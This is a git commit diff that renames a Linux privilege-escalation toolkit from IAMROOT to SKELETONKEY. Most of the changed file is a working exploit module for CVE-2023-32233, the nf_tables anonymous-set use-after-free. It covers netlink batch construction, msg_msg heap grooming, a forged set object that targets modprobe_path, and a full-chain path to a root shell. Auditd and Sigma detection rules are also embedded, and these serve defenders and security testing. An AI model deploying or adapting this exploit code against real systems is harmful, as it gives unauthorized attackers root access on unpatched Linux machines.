rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -20,12 +20,12 @@ Upstream fix: mainline 6.4-rc4 (commit `c1592a89942e9`, May 2023).
|
||||
Branch backports: 6.3.2 / 6.2.15 / 6.1.28 / 5.15.111 / 5.10.180 /
|
||||
5.4.243 / 4.19.283.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN (base, LOCAL_OUT
|
||||
hook) → NEWSET (ANON|EVAL|CONSTANT) → NEWRULE (nft_lookup
|
||||
referencing the set by `NFTA_LOOKUP_SET_ID`) → DELSET → DELRULE
|
||||
in the same transaction. msg_msg cg-512 spray with `IAMROOT_SET`
|
||||
in the same transaction. msg_msg cg-512 spray with `SKELETONKEY_SET`
|
||||
tags.
|
||||
|
||||
`--full-chain` forges a freed-set with `set->data = kaddr` at the
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nft_set_uaf_cve_2023_32233 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_SET_UAF_IAMROOT_MODULES_H
|
||||
#define NFT_SET_UAF_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nft_set_uaf_module;
|
||||
|
||||
#endif
|
||||
+67
-67
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nft_set_uaf_cve_2023_32233 — IAMROOT module
|
||||
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module
|
||||
*
|
||||
* nf_tables anonymous-set UAF (Sondej + Krysiuk, May 2023). When an
|
||||
* anonymous `nft_set` referenced by an `nft_lookup` expression inside a
|
||||
@@ -16,11 +16,11 @@
|
||||
* batch construction (table → base chain → anonymous set → rule
|
||||
* with nft_lookup → DELSET → DELRULE) committed in a single batch,
|
||||
* msg_msg cross-cache groom for kmalloc-cg-512 (32×16 messages
|
||||
* tagged "IAMROOT_SET"), slabinfo snapshot before/after, and a
|
||||
* /tmp/iamroot-nft_set_uaf.log breadcrumb. Returns
|
||||
* IAMROOT_EXPLOIT_FAIL after the primitive fires (honest scope).
|
||||
* tagged "SKELETONKEY_SET"), slabinfo snapshot before/after, and a
|
||||
* /tmp/skeletonkey-nft_set_uaf.log breadcrumb. Returns
|
||||
* SKELETONKEY_EXPLOIT_FAIL after the primitive fires (honest scope).
|
||||
* - With --full-chain: resolve kernel offsets; if no modprobe_path,
|
||||
* refuse via iamroot_finisher_print_offset_help. Otherwise re-fire
|
||||
* refuse via skeletonkey_finisher_print_offset_help. Otherwise re-fire
|
||||
* the trigger and spray msg_msg payloads forging a freed-set-object
|
||||
* whose data pointer points at modprobe_path, then drive
|
||||
* NFT_MSG_NEWSETELEM with our payload. FALLBACK-depth: the exact
|
||||
@@ -47,7 +47,7 @@
|
||||
* - Crusaders-of-Rust follow-up writeup
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -142,16 +142,16 @@ static bool nf_tables_loaded(void)
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.1 (anonymous-set support). Anything below
|
||||
@@ -161,7 +161,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
|
||||
"(anonymous-set support landed in 5.1)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
|
||||
@@ -169,7 +169,7 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -193,14 +193,14 @@ static iamroot_result_t nft_set_uaf_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nft_set_uaf: still patch the kernel — a root "
|
||||
"attacker can still trigger the bug\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_set_uaf: VULNERABLE — kernel in range AND "
|
||||
"user_ns clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -317,8 +317,8 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* Ruleset: anonymous-set UAF trigger.
|
||||
*
|
||||
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
||||
* 2. NFT_MSG_NEWTABLE "iamroot_t" inet
|
||||
* 3. NFT_MSG_NEWCHAIN "iamroot_c" base, NF_INET_LOCAL_OUT hook
|
||||
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" inet
|
||||
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" base, NF_INET_LOCAL_OUT hook
|
||||
* 4. NFT_MSG_NEWSET anonymous flags = ANONYMOUS|CONSTANT|EVAL
|
||||
* 5. NFT_MSG_NEWRULE nft_lookup references the anonymous set
|
||||
* 6. NFT_MSG_DELSET delete the set in the same batch
|
||||
@@ -331,13 +331,13 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* UAF on commit-time set cleanup.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_t";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_c";
|
||||
static const char NFT_SET_NAME[] = "iamroot_s"; /* fixed-name placeholder;
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
|
||||
static const char NFT_SET_NAME[] = "skeletonkey_s"; /* fixed-name placeholder;
|
||||
* anonymous flag still set */
|
||||
static const char NFT_RULE_HANDLE_ATTR[] = "iamroot_r";
|
||||
static const char NFT_RULE_HANDLE_ATTR[] = "skeletonkey_r";
|
||||
|
||||
#define IAMROOT_SET_ID 0x42424242
|
||||
#define SKELETONKEY_SET_ID 0x42424242
|
||||
|
||||
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
|
||||
{
|
||||
@@ -407,14 +407,14 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
NFT_SET_ANONYMOUS | NFT_SET_CONSTANT | NFT_SET_EVAL);
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0); /* "integer" */
|
||||
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
|
||||
put_attr_u32(buf, off, NFTA_SET_ID, IAMROOT_SET_ID);
|
||||
put_attr_u32(buf, off, NFTA_SET_ID, SKELETONKEY_SET_ID);
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
/* NFT_MSG_NEWRULE: a single nft_lookup expression that references the
|
||||
* anonymous set. The expression list contains one NFTA_LIST_ELEM whose
|
||||
* NFTA_EXPR_NAME = "lookup" and NFTA_EXPR_DATA.{ NFTA_LOOKUP_SREG=1,
|
||||
* NFTA_LOOKUP_SET_ID=IAMROOT_SET_ID }.
|
||||
* NFTA_LOOKUP_SET_ID=SKELETONKEY_SET_ID }.
|
||||
*/
|
||||
static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
@@ -432,7 +432,7 @@ static void put_new_rule_with_lookup(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
/* lookup expr attrs: source register, target set (by ID), no flags */
|
||||
put_attr_u32(buf, off, NFTA_LOOKUP_SREG, 1 /* NFT_REG_1 */);
|
||||
put_attr_str(buf, off, NFTA_LOOKUP_SET, NFT_SET_NAME);
|
||||
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, IAMROOT_SET_ID);
|
||||
put_attr_u32(buf, off, NFTA_LOOKUP_SET_ID, SKELETONKEY_SET_ID);
|
||||
end_nest(buf, off, edata_at);
|
||||
end_nest(buf, off, el_at);
|
||||
end_nest(buf, off, exprs_at);
|
||||
@@ -510,13 +510,13 @@ static int nft_send_batch(int sock, const void *buf, size_t len)
|
||||
* The freed nft_set object lives in kmalloc-cg-512 on lts-6.1.x and
|
||||
* 6.2.x builds (nft_set is ~448 bytes incl. ops vtable pointer +
|
||||
* pcpu data, rounds to cg-512). We spray 32 queues × 16 messages
|
||||
* tagged with the "IAMROOT_SET" prefix so KASAN/triage can correlate.
|
||||
* tagged with the "SKELETONKEY_SET" prefix so KASAN/triage can correlate.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#define SPRAY_QUEUES 32
|
||||
#define SPRAY_MSGS_PER_QUEUE 16
|
||||
#define MSG_PAYLOAD_BYTES 496 /* 512 - sizeof(msg_msg hdr ~= 16) */
|
||||
#define IAMROOT_TAG "IAMROOT_SET"
|
||||
#define SKELETONKEY_TAG "SKELETONKEY_SET"
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
@@ -530,7 +530,7 @@ static int spray_msg_msg(int queues[SPRAY_QUEUES])
|
||||
p.mtype = 0x53; /* 'S' for "set" */
|
||||
memset(p.buf, 0x53, sizeof p.buf);
|
||||
/* recognizable cookie at the head of every message */
|
||||
memcpy(p.buf, IAMROOT_TAG, sizeof IAMROOT_TAG - 1);
|
||||
memcpy(p.buf, SKELETONKEY_TAG, sizeof SKELETONKEY_TAG - 1);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < SPRAY_QUEUES; i++) {
|
||||
@@ -604,14 +604,14 @@ static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
|
||||
static void log_breadcrumb(long before, long after, int sprayed)
|
||||
{
|
||||
FILE *f = fopen("/tmp/iamroot-nft_set_uaf.log", "a");
|
||||
FILE *f = fopen("/tmp/skeletonkey-nft_set_uaf.log", "a");
|
||||
if (!f) return;
|
||||
time_t now = time(NULL);
|
||||
char ts[64];
|
||||
strftime(ts, sizeof ts, "%Y-%m-%dT%H:%M:%SZ", gmtime(&now));
|
||||
fprintf(f, "%s nft_set_uaf primitive fired: cg512 active %ld→%ld; "
|
||||
"msg_msg sprayed=%d tag=%s\n",
|
||||
ts, before, after, sprayed, IAMROOT_TAG);
|
||||
ts, before, after, sprayed, SKELETONKEY_TAG);
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
@@ -631,7 +631,7 @@ static void log_breadcrumb(long before, long after, int sprayed)
|
||||
* - the freed slot must be claimed by our spray, not by an
|
||||
* unrelated kernel allocator — race-dependent
|
||||
* - the finisher's sentinel post-check is the source of truth;
|
||||
* missed writes return IAMROOT_EXPLOIT_FAIL, not fake success
|
||||
* missed writes return SKELETONKEY_EXPLOIT_FAIL, not fake success
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
/* Offset of `data` pointer in nft_set header on lts-6.1.x/6.2.x builds
|
||||
@@ -659,7 +659,7 @@ static int spray_forged_set_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
|
||||
struct ipc_payload m;
|
||||
memset(&m, 0, sizeof m);
|
||||
m.mtype = 0x5345544146; /* "FATESF" reversed tag */
|
||||
memcpy(m.buf, IAMROOT_TAG "_FORGE", sizeof IAMROOT_TAG + 5);
|
||||
memcpy(m.buf, SKELETONKEY_TAG "_FORGE", sizeof SKELETONKEY_TAG + 5);
|
||||
|
||||
/* Forge `set->data = kaddr` at the documented offset. msg_msg
|
||||
* eats ~0x30 bytes at the head as its own header; the payload
|
||||
@@ -756,21 +756,21 @@ static int nft_set_uaf_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
* Exploit body
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Re-confirm vulnerability. */
|
||||
iamroot_result_t pre = nft_set_uaf_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nft_set_uaf_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -778,7 +778,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
#ifndef __linux__
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nft_set_uaf: non-Linux host — exploit unavailable\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->json) {
|
||||
if (ctx->full_chain) {
|
||||
@@ -795,34 +795,34 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
/* --- --full-chain path: in-process (no fork) so the finisher's
|
||||
* modprobe_path trigger shares our userns+netns+sock. */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets koff;
|
||||
iamroot_offsets_resolve(&koff);
|
||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
||||
iamroot_finisher_print_offset_help("nft_set_uaf");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets koff;
|
||||
skeletonkey_offsets_resolve(&koff);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||
skeletonkey_finisher_print_offset_help("nft_set_uaf");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&koff);
|
||||
skeletonkey_offsets_print(&koff);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
|
||||
NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
struct nft_arb_ctx ac = { .sock = sock, .batch = batch, .qused = 0 };
|
||||
for (int i = 0; i < SPRAY_QUEUES; i++) ac.qids[i] = -1;
|
||||
@@ -837,10 +837,10 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
if (nft_send_batch(sock, batch, blen) < 0) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: trigger batch failed\n");
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&koff,
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&koff,
|
||||
nft_set_uaf_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
/* drain whatever queues we created during arb-writes */
|
||||
@@ -852,7 +852,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger -------------- */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* --- CHILD --- */
|
||||
@@ -884,7 +884,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nft_set_uaf: pre-sprayed %d msg_msg queues "
|
||||
"(tag=%s)\n", sprayed, IAMROOT_TAG);
|
||||
"(tag=%s)\n", sprayed, SKELETONKEY_TAG);
|
||||
}
|
||||
|
||||
/* Snapshot before. */
|
||||
@@ -934,7 +934,7 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
"likely fired (KASAN/oops can manifest as child "
|
||||
"signal)\n", WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -944,11 +944,11 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
" UAF induced + msg_msg spray landed in\n"
|
||||
" kmalloc-cg-512. R/W chain NOT executed\n"
|
||||
" (Option B scope).\n"
|
||||
"[i] nft_set_uaf: see /tmp/iamroot-nft_set_uaf.log\n"
|
||||
"[i] nft_set_uaf: see /tmp/skeletonkey-nft_set_uaf.log\n"
|
||||
" for slab-delta breadcrumb. Pass --full-chain\n"
|
||||
" to attempt modprobe_path root-pop.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (rc >= 20 && rc <= 25) {
|
||||
@@ -956,13 +956,13 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] nft_set_uaf: trigger setup failed (child rc=%d)\n",
|
||||
rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nft_set_uaf: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
@@ -970,16 +970,16 @@ static iamroot_result_t nft_set_uaf_exploit(const struct iamroot_ctx *ctx)
|
||||
* Cleanup — best-effort drain
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_set_uaf_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_set_uaf_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
/* Best-effort breadcrumb removal. We can't drain msg queues from a
|
||||
* different process (they live in a private IPC namespace anyway,
|
||||
* which exited with the child). */
|
||||
if (unlink("/tmp/iamroot-nft_set_uaf.log") != 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-nft_set_uaf.log") != 0 && errno != ENOENT) {
|
||||
/* not fatal */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -992,18 +992,18 @@ static const char nft_set_uaf_auditd[] =
|
||||
"# transactions that mix NEWSET+DELSET in the same batch. Legitimate\n"
|
||||
"# nft scripts rarely DELSET an anonymous set they just created;\n"
|
||||
"# tune per env for firewalld/podman noise.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nft_set_uaf-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nft_set_uaf-userns\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nft_set_uaf-userns\n"
|
||||
"# Watch nfnetlink writes (the trigger batch goes via NETLINK_NETFILTER):\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k iamroot-nft_set_uaf-nft\n"
|
||||
"-a always,exit -F arch=b64 -S sendmsg -F a0!=0 -k skeletonkey-nft_set_uaf-nft\n"
|
||||
"# msg_msg cross-cache groom: msgsnd bursts on multiple queues:\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-nft_set_uaf-msgsnd\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-nft_set_uaf-msgsnd\n"
|
||||
"# Canonical post-exploit primitives:\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nft_set_uaf-priv\n";
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft_set_uaf-priv\n";
|
||||
|
||||
static const char nft_set_uaf_sigma[] =
|
||||
"title: Possible CVE-2023-32233 nft anonymous-set UAF exploitation\n"
|
||||
"id: 23233e7c-iamroot-nft-set-uaf\n"
|
||||
"id: 23233e7c-skeletonkey-nft-set-uaf\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape for the nf_tables anonymous-set\n"
|
||||
@@ -1034,7 +1034,7 @@ static const char nft_set_uaf_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.32233]\n";
|
||||
|
||||
const struct iamroot_module nft_set_uaf_module = {
|
||||
const struct skeletonkey_module nft_set_uaf_module = {
|
||||
.name = "nft_set_uaf",
|
||||
.cve = "CVE-2023-32233",
|
||||
.summary = "nf_tables anonymous-set UAF (Sondej+Krysiuk) — primitive + groom",
|
||||
@@ -1050,7 +1050,7 @@ const struct iamroot_module nft_set_uaf_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nft_set_uaf(void)
|
||||
void skeletonkey_register_nft_set_uaf(void)
|
||||
{
|
||||
iamroot_register(&nft_set_uaf_module);
|
||||
skeletonkey_register(&nft_set_uaf_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nft_set_uaf_cve_2023_32233 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_SET_UAF_SKELETONKEY_MODULES_H
|
||||
#define NFT_SET_UAF_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nft_set_uaf_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user